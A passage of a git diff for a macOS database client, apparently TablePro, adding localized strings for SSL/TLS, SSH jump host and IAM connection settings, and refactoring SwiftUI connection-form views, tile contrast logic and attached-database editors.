tab." : { "localizations" : { @@ -92507,6 +92758,9 @@ } } } + }, + "How matching values are hidden" : { + }, "How to read value: percent is a fraction (0.25 means 25 percent), date is ISO 8601" : { @@ -93032,6 +93286,9 @@ } } } + }, + "Identifier Case" : { + }, "Identity" : { "localizations" : { @@ -94996,6 +95253,9 @@ } } } + }, + "In Keychain" : { + }, "in list" : { "localizations" : { @@ -95049,6 +95309,22 @@ } } }, + "In the connection's SSL/TLS settings, check that the Key under Client Certificates is a valid PEM private key." : { + "extractionState" : "manual", + "generatesSymbol" : false + }, + "In the connection's SSL/TLS settings, choose the server's CA certificate under Verify Identity or Verify CA. Required (skip verify) also connects, but does not check the certificate." : { + "extractionState" : "manual", + "generatesSymbol" : false + }, + "In the connection's SSL/TLS settings, set SSL Mode to Disabled." : { + "extractionState" : "manual", + "generatesSymbol" : false + }, + "In the connection's SSL/TLS settings, set SSL Mode to Verify Identity, or to Required to skip the certificate check." : { + "extractionState" : "manual", + "generatesSymbol" : false + }, "In-memory data store and cache" : { "localizations" : { "fr" : { @@ -98128,6 +98404,9 @@ } } } + }, + "Instance Connection Name" : { + }, "Instance connection name must be project:region:instance" : { "localizations" : { @@ -99817,6 +100096,9 @@ }, "It expires on %@. Create a new one in your account and import it." : { + }, + "It is removed from ^[%lld connection](inflect: true). This cannot be undone." : { + }, "It stays on this Mac and never syncs, because it can name a command to run." : { @@ -100341,6 +100623,9 @@ }, "Jump host %1$@ failed: %2$@" : { + }, + "Jump Host %lld" : { + }, "Jump host configuration is invalid" : { "localizations" : { @@ -103528,6 +103813,12 @@ } } } + }, + "Leave blank to use Settings > Connections: %@." : { + + }, + "Leave blank to use Settings > Connections: no limit." : { + }, "Leave blank to use the global %d-second timeout. This setting applies only to database drivers that support it." : { "localizations" : { @@ -105074,6 +105365,9 @@ } } } + }, + "Limits what MCP clients, scripts and shortcuts can do with this connection, whatever their token allows." : { + }, "Line" : { "localizations" : { @@ -108163,6 +108457,9 @@ } } } + }, + "Local environment" : { + }, "Local File" : { "extractionState" : "manual", @@ -108288,6 +108585,9 @@ } } } + }, + "Local Only" : { + }, "Local only, not synced to iCloud" : { "localizations" : { @@ -108368,6 +108668,9 @@ } } } + }, + "Local Port" : { + }, "Local port must be between 1 and 65535" : { "localizations" : { @@ -110470,9 +110773,15 @@ } } } + }, + "Match the pattern against column names or column types" : { + }, "Match what I type" : { + }, + "Match What I Type" : { + }, "Match what I type, otherwise lowercase" : { "extractionState" : "manual", @@ -111579,6 +111888,9 @@ } } } + }, + "Maximum time to open the database. Leave blank to use the %d-second default." : { + }, "Maximum time to wait for a query to complete. Set to 0 for no limit. Applied to new connections." : { "localizations" : { @@ -114030,6 +114342,9 @@ "Moon" : { "extractionState" : "manual", "generatesSymbol" : false + }, + "More" : { + }, "More tables follow. Pass LastEvaluatedTableName as ExclusiveStartTableName." : { "extractionState" : "manual", @@ -117407,6 +117722,9 @@ } } } + }, + "New Profile…" : { + }, "New Query" : { "localizations" : { @@ -120688,6 +121006,9 @@ } } } + }, + "No Jump Hosts" : { + }, "No Kerberos ticket was found." : { "extractionState" : "manual", @@ -120926,6 +121247,9 @@ }, "No longer in the team library" : { + }, + "No Masking Rules" : { + }, "No matches" : { "localizations" : { @@ -122952,6 +123276,9 @@ } } } + }, + "No saved connection uses it. This cannot be undone." : { + }, "No saved connection with ID \"%@\"." : { "localizations" : { @@ -132262,6 +132589,9 @@ } } } + }, + "Opens the database file set in General, on this Mac. For a file on another computer, choose Remote Server over SSH." : { + }, "Opens the Pro plan details in your browser." : { "localizations" : { @@ -136303,6 +136633,9 @@ } } } + }, + "Paste Connection URL" : { + }, "Paste the JSON below and save" : { "localizations" : { @@ -138868,6 +139201,9 @@ } } } + }, + "Policy" : { + }, "Port" : { "extractionState" : "manual", @@ -139687,6 +140023,12 @@ } } } + }, + "Preferred tries TLS first and connects without it when the server offers none. Use Required for AWS RDS, Cloud SQL, Heroku, Supabase and Neon." : { + + }, + "Preferred tries TLS first and connects without it when the TLS handshake fails. Use Required for Cloud SQL and Azure Database for MySQL, which refuse an unencrypted connection." : { + }, "Preferred tries TLS first, falls back to plain." : { @@ -142176,6 +142518,9 @@ } } } + }, + "Production environment" : { + }, "Production reader" : { "localizations" : { @@ -142627,6 +142972,9 @@ } } } + }, + "Prompt for API Token" : { + }, "Prompt for password" : { "localizations" : { @@ -142667,6 +143015,9 @@ } } } + }, + "Prompt for Password" : { + }, "Prompt template" : { "localizations" : { @@ -144991,6 +145342,9 @@ } } } + }, + "Query Timeout" : { + }, "Query timeout applies only to database drivers that support it. Use 0 for no limit. Reconnect to apply changes." : { "localizations" : { @@ -150269,6 +150623,9 @@ } } } + }, + "Remote Server over SSH" : { + }, "Remote SQLite session disconnected." : { @@ -160396,6 +160753,9 @@ } } } + }, + "Save API Token" : { + }, "Save As" : { "localizations" : { @@ -160999,6 +161359,9 @@ } } } + }, + "Save Password" : { + }, "Save replaces the whole document with this text. A field you remove is removed, and _id cannot change." : { "localizations" : { @@ -167054,6 +167417,9 @@ } } } + }, + "Server not reachable" : { + }, "Server output" : { "localizations" : { @@ -168454,6 +168820,9 @@ } } } + }, + "Sets when the assistant and MCP clients may read this connection." : { + }, "Settings" : { "extractionState" : "manual", @@ -168499,6 +168868,9 @@ }, "Settings file" : { + }, + "Settings the new type can't use are listed before anything changes." : { + }, "Settings:" : { "extractionState" : "stale", @@ -171963,6 +172335,9 @@ } } } + }, + "Shows the setting to fix" : { + }, "Shows the version and Check for Updates under the app icon. An available update is shown either way." : { "localizations" : { @@ -172774,6 +173149,9 @@ } } } + }, + "Sign-in failed" : { + }, "Sign-in timed out" : { "localizations" : { @@ -173152,6 +173530,9 @@ } } } + }, + "Signing In…" : { + }, "Signing out" : { @@ -173227,6 +173608,9 @@ } } } + }, + "Signs in with this Mac's Application Default Credentials, from “gcloud auth application-default login” or GOOGLE_APPLICATION_CREDENTIALS." : { + }, "Silent" : { "localizations" : { @@ -176549,6 +176933,9 @@ } } } + }, + "SSH & Proxies" : { + }, "SSH Agent" : { "extractionState" : "manual", @@ -177740,6 +178127,9 @@ } } } + }, + "SSL/TLS settings" : { + }, "SSO portal returned HTTP %lld for profile \"%@\"." : { "extractionState" : "manual", @@ -177888,6 +178278,9 @@ }, "Staging" : { + }, + "Staging environment" : { + }, "Stale Statistics" : { @@ -178215,6 +178608,9 @@ } } } + }, + "Startup" : { + }, "Startup Commands" : { "localizations" : { @@ -185282,6 +185678,9 @@ } } } + }, + "TablePro can’t open “%@”." : { + }, "TablePro can't pass any value of type %2$@ to %1$@." : { "extractionState" : "manual", @@ -185380,6 +185779,9 @@ "TablePro compiles it again with debug information (PLSQL_OPTIMIZE_LEVEL=1) and keeps its other settings. Compiling commits." : { "extractionState" : "manual", "generatesSymbol" : false + }, + "TablePro connects through the jump hosts in order, then the SSH server. A jump host signs in with a key file or the SSH agent." : { + }, "TablePro connects to the first broker over a tunnel. Partitions led by other brokers cannot be read." : { "localizations" : { @@ -185572,6 +185974,9 @@ } } } + }, + "TablePro could not read the SSH profiles on this Mac." : { + }, "TablePro could not read the Table Health history: %@" : { @@ -186343,6 +186748,9 @@ } } } + }, + "TablePro opens database files, SQL files, data files, connection shares and plugins." : { + }, "TablePro reads this file with a driver it downloads from the plugin registry." : { "localizations" : { @@ -188524,6 +188932,9 @@ } } } + }, + "Testing…" : { + }, "text" : { "localizations" : { @@ -190565,6 +190976,9 @@ }, "The changes are in an open transaction on this connection. Commit or roll it back yourself." : { + }, + "The changes to “%@” can't be saved yet." : { + }, "The changes were edited while the save was checking other tables. Save again to include them." : { @@ -191396,6 +191810,9 @@ } } } + }, + "The connection is not encrypted." : { + }, "The connection is not open." : { "localizations" : { @@ -198529,6 +198946,9 @@ "The SSH port %lld is not between 1 and 65535." : { "extractionState" : "manual", "generatesSymbol" : false + }, + "The SSH profile this connection uses isn't on this Mac." : { + }, "The SSH profile this connection uses now points to another server. Click Reconnect in its window to use it." : { @@ -198770,6 +199190,9 @@ } } } + }, + "The SSH server needs python3." : { + }, "The SSH server would not forward the socket %@. Check that the path exists on the server and that sshd allows socket forwarding (AllowStreamLocalForwarding). (%@)" : { "localizations" : { @@ -200326,6 +200749,9 @@ } } } + }, + "The URL matches this connection." : { + }, "The user cancelled this operation." : { "localizations" : { @@ -201966,6 +202392,9 @@ } } } + }, + "This connection has not been saved yet." : { + }, "This connection has open HANDLER cursors, which reconnecting would close." : { "extractionState" : "manual", @@ -203498,6 +203927,9 @@ "This driver cannot send rows to COPY FROM STDIN." : { "extractionState" : "manual", "generatesSymbol" : false + }, + "This driver doesn't support %@." : { + }, "This driver has no TLS fallback. Preferred forces TLS, same as Required." : { "localizations" : { @@ -206129,6 +206561,9 @@ } } } + }, + "This profile isn't on this Mac." : { + }, "This profile will be permanently deleted." : { "localizations" : { @@ -209105,6 +209540,9 @@ } } } + }, + "TLS handshake failed" : { + }, "TLS handshake failed: %@" : { "extractionState" : "manual", @@ -213655,6 +214093,9 @@ } } } + }, + "Unix Socket" : { + }, "Unix Timestamp (milliseconds)" : { "localizations" : { @@ -216703,6 +217144,9 @@ } } } + }, + "Use IAM Database Authentication" : { + }, "Use Key" : { @@ -219053,6 +219497,14 @@ } } }, + "Verify CA needs a CA certificate. In the connection's SSL/TLS settings, choose the CA certificate that signed the server's certificate, or set SSL Mode to Verify Identity." : { + "extractionState" : "manual", + "generatesSymbol" : false + }, + "Verify CA needs a CA certificate. In the etcd section of the connection's Advanced settings, choose the CA Certificate that signed the server's certificate, or set TLS Mode to Verify Identity." : { + "extractionState" : "manual", + "generatesSymbol" : false + }, "Verify CA needs a CA certificate. In the etcd section of the Options tab, choose the CA Certificate that signed the server's certificate, or set TLS Mode to Verify Identity." : { "extractionState" : "manual", "generatesSymbol" : false, @@ -223217,6 +223669,9 @@ } } } + }, + "With IAM, the username in General is the IAM principal, such as a user email or name@project.iam, and no password is sent." : { + }, "With Increase Contrast on, the window uses the system background." : { diff --git a/apple/TablePro/Views/Connection/ConnectionTileView.swift b/apple/TablePro/Views/Connection/ConnectionTileView.swift index ecb022086b..752fab324e 100644 --- a/apple/TablePro/Views/Connection/ConnectionTileView.swift +++ b/apple/TablePro/Views/Connection/ConnectionTileView.swift @@ -37,19 +37,24 @@ internal enum ConnectionTileMetrics { } } - // The tile as it draws: quaternaryLabelColor over the window background, in the current appearance. + // The tile as it draws: quaternaryLabelColor over what is behind it, in the current appearance. The window + // background was not enough: the same tile sits on a form card, a sheet and a selected row, all lighter, and the + // elephant measured 2.6:1 in the chooser's selected row. So the floor is met over the lightest of them. internal static func tileLuminance() -> CGFloat { - guard let tile = NSColor.quaternaryLabelColor.usingColorSpace(.sRGB), - let base = NSColor.windowBackgroundColor.usingColorSpace(.sRGB) - else { return 0 } + guard let tile = NSColor.quaternaryLabelColor.usingColorSpace(.sRGB) else { return 0 } let alpha = tile.alphaComponent - let composite = NSColor( - srgbRed: tile.redComponent * alpha + base.redComponent * (1 - alpha), - green: tile.greenComponent * alpha + base.greenComponent * (1 - alpha), - blue: tile.blueComponent * alpha + base.blueComponent * (1 - alpha), - alpha: 1 - ) - return composite.relativeLuminance + return tileBackdrops.compactMap { $0.usingColorSpace(.sRGB) }.map { base in + NSColor( + srgbRed: tile.redComponent * alpha + base.redComponent * (1 - alpha), + green: tile.greenComponent * alpha + base.greenComponent * (1 - alpha), + blue: tile.blueComponent * alpha + base.blueComponent * (1 - alpha), + alpha: 1 + ).relativeLuminance + }.max() ?? 0 + } + + private static var tileBackdrops: [NSColor] { + [.windowBackgroundColor, .underPageBackgroundColor, .unemphasizedSelectedContentBackgroundColor] } internal static func contrast(_ first: CGFloat, _ second: CGFloat) -> CGFloat { diff --git a/apple/TablePro/Views/ConnectionForm/Components/AttachedDatabaseListEditor.swift b/apple/TablePro/Views/ConnectionForm/Components/AttachedDatabaseListEditor.swift deleted file mode 100644 index c3ea5aa3f7..0000000000 --- a/apple/TablePro/Views/ConnectionForm/Components/AttachedDatabaseListEditor.swift +++ /dev/null @@ -1,194 +0,0 @@ -// -// AttachedDatabaseListEditor.swift -// TablePro -// - -import AppKit -import SwiftUI - -/// Built like the Extensions list below it, so the two lists in Options behave the same. -struct AttachedDatabaseListEditor: View { - @Binding var value: String - let databaseType: DatabaseType - - @State private var model = AttachedDatabaseListModel(encoded: "") - @State private var selection: Set = [] - - var body: some View { - VStack(alignment: .leading, spacing: 6) { - list - if model.isUnreadable { - Label( - String(localized: "The saved list could not be read. Adding a database replaces it."), - systemImage: "exclamationmark.triangle.fill" - ) - .font(.caption) - .foregroundStyle(.secondary) - } - } - .onAppear { reload() } - .onChange(of: value) { _ in reload() } - } - - private var list: some View { - List(selection: $selection) { - ForEach(model.rows) { row in - AttachedDatabaseRowView( - name: nameBinding(for: row.id), - path: pathBinding(for: row.id), - onMoveUp: { move(row.id, by: -1) }, - onMoveDown: { move(row.id, by: 1) } - ) - .tag(row.id) - } - .onMove { source, destination in - model.move(fromOffsets: source, toOffset: destination) - commit() - } - } - .listStyle(.bordered(alternatesRowBackgrounds: false)) - .frame(height: listHeight) - .onDeleteCommand { removeSelection() } - .overlay { - if model.rows.isEmpty { - Text("No Attached Databases") - .foregroundStyle(.secondary) - .padding(.bottom, buttonBarHeight) - } - } - .safeAreaInset(edge: .bottom, spacing: 0) { - VStack(spacing: 0) { - Divider() - HStack(spacing: 0) { - AddRemoveControlGroup( - addLabel: String(localized: "Attach Database…"), - removeLabel: String(localized: "Remove Attached Database"), - canRemove: !selection.isEmpty, - addIdentifier: "connection-attached-databases-add", - removeIdentifier: "connection-attached-databases-remove", - onAdd: { chooseFiles() }, - onRemove: { removeSelection() } - ) - Spacer() - } - .padding(.horizontal, 4) - .padding(.vertical, 2) - } - .background(.bar) - } - } - - private let rowHeight: CGFloat = 26 - private let buttonBarHeight: CGFloat = 32 - - private var listHeight: CGFloat { - // No cap: a List in a grouped Form never scrolls, so it shows every row and the Form scrolls. - let rows = CGFloat(max(model.rows.count, 2)) - return rows * rowHeight + buttonBarHeight + 8 - } - - private func nameBinding(for id: UUID) -> Binding { - Binding( - get: { model.rows.first { $0.id == id }?.name ?? "" }, - set: { newValue in - model.setName(newValue, for: id) - commit() - } - ) - } - - private func pathBinding(for id: UUID) -> Binding { - Binding( - get: { model.rows.first { $0.id == id }?.path ?? "" }, - set: { newValue in - model.setPath(newValue, for: id) - commit() - } - ) - } - - private func reload() { - guard !model.matches(encoded: value) else { return } - model = AttachedDatabaseListModel(encoded: value) - selection = selection.filter { id in model.rows.contains { $0.id == id } } - } - - private func commit() { - let encoded = model.encoded - guard value != encoded else { return } - value = encoded - } - - private func move(_ id: UUID, by offset: Int) { - guard let index = model.rows.firstIndex(where: { $0.id == id }) else { return } - let target = index + offset - guard model.rows.indices.contains(target) else { return } - model.move(fromOffsets: IndexSet(integer: index), toOffset: offset > 0 ? target + 1 : target) - commit() - } - - private func removeSelection() { - guard !selection.isEmpty else { return } - selection = model.remove(selection) - commit() - } - - private func chooseFiles() { - guard let window = NSApp.keyWindow else { return } - let panel = NSOpenPanel() - let rule = DatabaseFileBrowseRule(type: databaseType, extensions: PluginManager.shared.fileExtensions(for: databaseType)) - let filter = PanelEnableFilter(isEnabled: rule.isEnabled) - panel.title = String(localized: "Attach Database") - panel.prompt = String(localized: "Attach") - panel.message = String(localized: "Choose the database files to attach each time this connection opens.") - panel.allowsMultipleSelection = true - panel.canChooseDirectories = false - panel.delegate = filter - - panel.beginSheetModal(for: window) { response in - withExtendedLifetime(filter) { - guard response == .OK else { return } - selection = model.add(paths: panel.urls.map { $0.path(percentEncoded: false) }) - commit() - } - } - } -} - -private struct AttachedDatabaseRowView: View { - @Binding var name: String - @Binding var path: String - let onMoveUp: () -> Void - let onMoveDown: () -> Void - - var body: some View { - HStack(spacing: 6) { - issueIndicator - TextField(String(localized: "Name"), text: $name, prompt: Text(String(localized: "Name"))) - .labelsHidden() - .frame(width: 120) - .help(String(localized: "The name a statement uses for this database, as in name.table.")) - TextField( - String(localized: "Database File"), - text: $path, - prompt: Text(verbatim: "/path/to/database.db") - ) - .labelsHidden() - } - .accessibilityElement(children: .contain) - .accessibilityActions { - Button(String(localized: "Move Up"), action: onMoveUp) - Button(String(localized: "Move Down"), action: onMoveDown) - } - } - - @ViewBuilder - private var issueIndicator: some View { - if let issue = AttachedDatabaseFileIssue.issue(forPath: path) { - Image(systemName: "exclamationmark.triangle.fill") - .foregroundStyle(.yellow) - .help(issue.message) - .accessibilityLabel(issue.message) - } - } -} diff --git a/apple/TablePro/Views/ConnectionForm/Components/LoadableExtensionListEditor.swift b/apple/TablePro/Views/ConnectionForm/Components/LoadableExtensionListEditor.swift deleted file mode 100644 index 182eea6353..0000000000 --- a/apple/TablePro/Views/ConnectionForm/Components/LoadableExtensionListEditor.swift +++ /dev/null @@ -1,229 +0,0 @@ -// -// LoadableExtensionListEditor.swift -// TablePro -// - -import AppKit -import SwiftUI -import UniformTypeIdentifiers - -/// The ordered list of SQLite extension libraries a connection loads, edited in place. -/// -/// Built like the other lists in this form: a bordered list with the add and remove pair beneath -/// it, rows reordered by dragging or with the Move Up and Move Down accessibility actions, and -/// Delete removing the selection. Add opens a file panel, the only way a row is created; once it -/// exists, its path and entry point are edited in place. -struct LoadableExtensionListEditor: View { - @Binding var value: String - - @State private var model = LoadableExtensionListModel(encoded: "") - @State private var selection: Set = [] - - var body: some View { - VStack(alignment: .leading, spacing: 6) { - list - if model.isUnreadable { - Label( - String(localized: "The saved list could not be read. Adding an extension replaces it."), - systemImage: "exclamationmark.triangle.fill" - ) - .font(.caption) - .foregroundStyle(.secondary) - } - } - .onAppear { reload() } - .onChange(of: value) { _ in reload() } - } - - private var list: some View { - List(selection: $selection) { - ForEach(model.rows) { row in - LoadableExtensionRowView( - path: pathBinding(for: row.id), - entryPoint: entryPointBinding(for: row.id), - onMoveUp: { move(row.id, by: -1) }, - onMoveDown: { move(row.id, by: 1) } - ) - .tag(row.id) - } - .onMove { source, destination in - model.move(fromOffsets: source, toOffset: destination) - commit() - } - } - .listStyle(.bordered(alternatesRowBackgrounds: false)) - .frame(height: listHeight) - .onDeleteCommand { removeSelection() } - .overlay { - if model.rows.isEmpty { - Text("No Extensions") - .foregroundStyle(.secondary) - .padding(.bottom, buttonBarHeight) - } - } - .safeAreaInset(edge: .bottom, spacing: 0) { - VStack(spacing: 0) { - Divider() - HStack(spacing: 0) { - AddRemoveControlGroup( - addLabel: String(localized: "Add Extension…"), - removeLabel: String(localized: "Remove Extension"), - canRemove: !selection.isEmpty, - addIdentifier: "connection-extensions-add", - removeIdentifier: "connection-extensions-remove", - onAdd: { chooseFiles() }, - onRemove: { removeSelection() } - ) - Spacer() - } - .padding(.horizontal, 4) - .padding(.vertical, 2) - } - .background(.bar) - } - } - - private let rowHeight: CGFloat = 26 - private let buttonBarHeight: CGFloat = 32 - - private var listHeight: CGFloat { - // No cap: a List in a grouped Form never scrolls, so it shows every row and the Form scrolls. - let rows = CGFloat(max(model.rows.count, 2)) - return rows * rowHeight + buttonBarHeight + 8 - } - - private func pathBinding(for id: UUID) -> Binding { - Binding( - get: { model.rows.first { $0.id == id }?.path ?? "" }, - set: { newValue in - model.setPath(newValue, for: id) - commit() - } - ) - } - - private func entryPointBinding(for id: UUID) -> Binding { - Binding( - get: { model.rows.first { $0.id == id }?.entryPoint ?? "" }, - set: { newValue in - model.setEntryPoint(newValue, for: id) - commit() - } - ) - } - - private func reload() { - guard !model.matches(encoded: value) else { return } - model = LoadableExtensionListModel(encoded: value) - selection = selection.filter { id in model.rows.contains { $0.id == id } } - } - - private func commit() { - let encoded = model.encoded - guard value != encoded else { return } - value = encoded - } - - private func move(_ id: UUID, by offset: Int) { - guard let index = model.rows.firstIndex(where: { $0.id == id }) else { return } - let target = index + offset - guard model.rows.indices.contains(target) else { return } - model.move(fromOffsets: IndexSet(integer: index), toOffset: offset > 0 ? target + 1 : target) - commit() - } - - private func removeSelection() { - guard !selection.isEmpty else { return } - selection = model.remove(selection) - commit() - } - - private func chooseFiles() { - guard let window = NSApp.keyWindow else { return } - let panel = NSOpenPanel() - let validator = LoadableExtensionPanelValidator() - panel.title = String(localized: "Add Extension") - panel.prompt = String(localized: "Add") - panel.message = String(localized: "Choose the SQLite extension libraries to load when this connection opens.") - panel.allowsMultipleSelection = true - panel.canChooseDirectories = false - panel.resolvesAliases = false - panel.allowedContentTypes = LoadableExtensionPanelValidator.contentTypes - panel.delegate = validator - - panel.beginSheetModal(for: window) { response in - withExtendedLifetime(validator) { - guard response == .OK else { return } - selection = model.add(paths: panel.urls.map { $0.path(percentEncoded: false) }) - commit() - } - } - } -} - -private struct LoadableExtensionRowView: View { - @Binding var path: String - @Binding var entryPoint: String - let onMoveUp: () -> Void - let onMoveDown: () -> Void - - var body: some View { - HStack(spacing: 6) { - issueIndicator - TextField( - String(localized: "Extension File"), - text: $path, - prompt: Text(verbatim: "/opt/homebrew/lib/mod_spatialite.dylib") - ) - .labelsHidden() - TextField( - String(localized: "Entry Point"), - text: $entryPoint, - prompt: Text(String(localized: "Default entry point")) - ) - .labelsHidden() - .frame(width: 170) - .help(String(localized: "The initialization function to call. Leave empty to use the one SQLite derives from the file name.")) - } - .accessibilityElement(children: .contain) - .accessibilityActions { - Button(String(localized: "Move Up"), action: onMoveUp) - Button(String(localized: "Move Down"), action: onMoveDown) - } - } - - @ViewBuilder - private var issueIndicator: some View { - if let issue = LoadableExtensionFileIssue.issue(forPath: path) { - Image(systemName: "exclamationmark.triangle.fill") - .foregroundStyle(.yellow) - .help(issue.message) - .accessibilityLabel(issue.message) - } - } -} - -/// Refuses a file that is not a Mach-O library before it reaches the list. The panel's content types -/// only dim other files, and `.so` has no type of its own, so the choice is checked here as well. -private final class LoadableExtensionPanelValidator: NSObject, NSOpenSavePanelDelegate { - static let contentTypes: [UTType] = [ - UTType(filenameExtension: "dylib"), - UTType(filenameExtension: "so"), - UTType(filenameExtension: "bundle") - ] - .compactMap { $0 } - - func panel(_ sender: Any, validate url: URL) throws { - guard !MachOFile.isMachO(atPath: url.path(percentEncoded: false)) else { return } - throw NSError( - domain: NSCocoaErrorDomain, - code: NSFileReadCorruptFileError, - userInfo: [ - NSLocalizedDescriptionKey: String( - format: String(localized: "\"%@\" is not a library."), - url.lastPathComponent - ) - ] - ) - } -} diff --git a/apple/TablePro/Views/ConnectionForm/Engine/ConnectionEditorEngine+Issues.swift b/apple/TablePro/Views/ConnectionForm/Engine/ConnectionEditorEngine+Issues.swift index 0449bd2f11..f0f609c2c3 100644 --- a/apple/TablePro/Views/ConnectionForm/Engine/ConnectionEditorEngine+Issues.swift +++ b/apple/TablePro/Views/ConnectionForm/Engine/ConnectionEditorEngine+Issues.swift @@ -16,7 +16,8 @@ extension ConnectionEditorEngine { var fallbackRow: EditorRow? } - // Every issue names a row the layout shows; one whose row is not on screen moves to its fallback or is dropped. + // Every issue names a row the layout shows enabled; one whose row is hidden or disabled moves to its fallback or is + // dropped. static func issues( _ draft: ConnectionDraft, _ traits: ConnectionTypeTraits, @@ -32,8 +33,8 @@ extension ConnectionEditorEngine { var issues: [FieldIssue] = [] for item in pending { - let row = layout.contains(item.row) ? item.row : item.fallbackRow - guard let row, let facet = layout.facet(containing: row) else { continue } + let row = layout.isEnabled(item.row) ? item.row : item.fallbackRow + guard let row, layout.isEnabled(row), let facet = layout.facet(containing: row) else { continue } let issue = FieldIssue(facet: facet, row: row, message: item.message, severity: item.severity) if !issues.contains(issue) { issues.append(issue) diff --git a/apple/TablePro/Views/ConnectionForm/Engine/ConnectionEditorEngine+Layout.swift b/apple/TablePro/Views/ConnectionForm/Engine/ConnectionEditorEngine+Layout.swift index 20a5b2c582..32c5eac9b4 100644 --- a/apple/TablePro/Views/ConnectionForm/Engine/ConnectionEditorEngine+Layout.swift +++ b/apple/TablePro/Views/ConnectionForm/Engine/ConnectionEditorEngine+Layout.swift @@ -22,7 +22,23 @@ extension ConnectionEditorEngine { facets.append(aiFacet(draft, context)) facets.append(startupFacet()) facets.append(advancedFacet(draft, traits, context)) - return EditorLayout(facets: facets) + return EditorLayout(facets: facets, disabledRows: unusedRows(draft, traits)) + } + + private static func unusedRows(_ draft: ConnectionDraft, _ traits: ConnectionTypeTraits) -> Set { + var rows: Set = [] + if forwardsToUnixSocket(draft) { + rows.formUnion([.builtIn(.host), .builtIn(.port)]) + } + // Remote File swaps the local path for its own copy or session at connect. + if draft.transport == .remoteFile { + if case .additionalField(let fieldId) = traits.localFilePathField { + rows.insert(.plugin(fieldID: fieldId)) + } else { + rows.insert(.builtIn(.databaseFile)) + } + } + return rows } private static func pluginRows( @@ -65,7 +81,9 @@ extension ConnectionEditorEngine { return SectionLayout( id: "connection", title: String(localized: "Database File"), - footer: nil, + footer: draft.transport == .remoteFile + ? String(localized: "File Path is unused. The connection opens the file on the SSH server chosen in Location.") + : nil, rows: [.builtIn(.databaseFile)] + pluginRows(connectionFields, draft, traits) ) case .apiOnly: @@ -232,7 +250,7 @@ extension ConnectionEditorEngine { case .remoteDatabaseSession, nil: break } - let title = traits.supportsRemoteDatabaseFile ? String(localized: "Remote File") : ConnectionFacet.sshAndProxies.title + let title = traits.supportsRemoteDatabaseFile ? String(localized: "Location") : ConnectionFacet.sshAndProxies.title return FacetLayout(facet: .sshAndProxies, title: title, sections: sections) } diff --git a/apple/TablePro/Views/ConnectionForm/Engine/EditorLayout.swift b/apple/TablePro/Views/ConnectionForm/Engine/EditorLayout.swift index 9b631cfc1f..6195c361bb 100644 --- a/apple/TablePro/Views/ConnectionForm/Engine/EditorLayout.swift +++ b/apple/TablePro/Views/ConnectionForm/Engine/EditorLayout.swift @@ -7,9 +7,15 @@ import Foundation struct EditorLayout: Equatable, Sendable { var facets: [FacetLayout] + // Shown so a value survives a switch back, but the connect ignores them: drawn disabled and never validated. + var disabledRows: Set = [] var facetIDs: [ConnectionFacet] { facets.map(\.facet) } + func isEnabled(_ row: EditorRow) -> Bool { + contains(row) && !disabledRows.contains(row) + } + func facet(_ facet: ConnectionFacet) -> FacetLayout? { facets.first { $0.facet == facet } } diff --git a/apple/TablePro/Views/ConnectionForm/Facets/AIAndMCPFacetView.swift b/apple/TablePro/Views/ConnectionForm/Facets/AIAndMCPFacetView.swift index 08002bd30b..5f90142523 100644 --- a/apple/TablePro/Views/ConnectionForm/Facets/AIAndMCPFacetView.swift +++ b/apple/TablePro/Views/ConnectionForm/Facets/AIAndMCPFacetView.swift @@ -9,6 +9,7 @@ struct AIAndMCPFacetView: View { Section { ForEach(section.rows, id: \.self) { row in rowView(row) + .id(row) } } header: { if let title = section.title { @@ -22,6 +23,7 @@ struct AIAndMCPFacetView: View { } } .formStyle(.grouped) + .scrollsToEditorFocus(.aiAndMCP, store: store) } private var sections: [SectionLayout] { diff --git a/apple/TablePro/Views/ConnectionForm/Facets/AdvancedAttachedDatabaseRows.swift b/apple/TablePro/Views/ConnectionForm/Facets/AdvancedAttachedDatabaseRows.swift index d0f20600e1..f82aabba87 100644 --- a/apple/TablePro/Views/ConnectionForm/Facets/AdvancedAttachedDatabaseRows.swift +++ b/apple/TablePro/Views/ConnectionForm/Facets/AdvancedAttachedDatabaseRows.swift @@ -15,28 +15,27 @@ struct AdvancedAttachedDatabaseRows: View { var body: some View { ForEach(Array(model.rows.enumerated()), id: \.element.id) { index, entry in AdvancedListEntry( - primaryTitle: String(localized: "Name"), - secondaryTitle: String(localized: "File"), + path: entry.path, notice: AttachedDatabaseFileIssue.issue(forPath: entry.path)?.message, actionsLabel: String(format: String(localized: "Actions for %@"), entry.name), + identifier: "connection-attached-database-\(index)", canMoveUp: index > 0, canMoveDown: index < model.rows.count - 1, onMove: { offset in move(entry.id, by: offset) }, + onChangeFile: { Task { await changeFile(of: entry.id) } }, onRemove: { remove(entry.id) } ) { - TextField(String(localized: "Name"), text: nameBinding(for: entry.id)) - .labelsHidden() - .textFieldStyle(.roundedBorder) - .focused($focusedEntry, equals: entry.id) - .help(String(localized: "The name a statement uses for this database, as in name.table.")) - } secondary: { - TextField( - String(localized: "Database File"), - text: pathBinding(for: entry.id), - prompt: Text(verbatim: "/path/to/database.db") - ) + // The name a statement reaches it by, edited where it reads. + TextField(text: nameBinding(for: entry.id), prompt: Text(String(localized: "Name"))) { + Text(String(localized: "Name")) + } .labelsHidden() - .textFieldStyle(.roundedBorder) + .autocorrectionDisabled() + .focused($focusedEntry, equals: entry.id) + .help(String(localized: "The name a statement uses for this database, as in name.table.")) + .accessibilityIdentifier("connection-attached-database-\(index)-name") + } value: { + EmptyView() } } @@ -46,7 +45,7 @@ struct AdvancedAttachedDatabaseRows: View { LabeledContent { Button(String(localized: "Attach Database…")) { - Task { await chooseFiles() } + Task { await attach() } } .accessibilityIdentifier("connection-attached-databases-add") } label: { @@ -55,6 +54,8 @@ struct AdvancedAttachedDatabaseRows: View { } else if model.rows.isEmpty { Text(String(localized: "No Attached Databases")) .foregroundStyle(.secondary) + } else { + Text("^[\(model.rows.count) Attached Database](inflect: true)") } } .onAppear(perform: reload) @@ -72,16 +73,6 @@ struct AdvancedAttachedDatabaseRows: View { ) } - private func pathBinding(for id: UUID) -> Binding { - Binding( - get: { model.rows.first { $0.id == id }?.path ?? "" }, - set: { newValue in - model.setPath(newValue, for: id) - commit() - } - ) - } - private func reload() { guard !model.matches(encoded: value.wrappedValue) else { return } model = AttachedDatabaseListModel(encoded: value.wrappedValue) @@ -107,25 +98,53 @@ struct AdvancedAttachedDatabaseRows: View { commit() } - private func chooseFiles() async { + private func attach() async { + let paths = await chooseFiles( + title: String(localized: "Attach Database"), + prompt: String(localized: "Attach"), + message: String(localized: "Choose the database files to attach each time this connection opens."), + allowsMultipleSelection: true + ) + guard !paths.isEmpty else 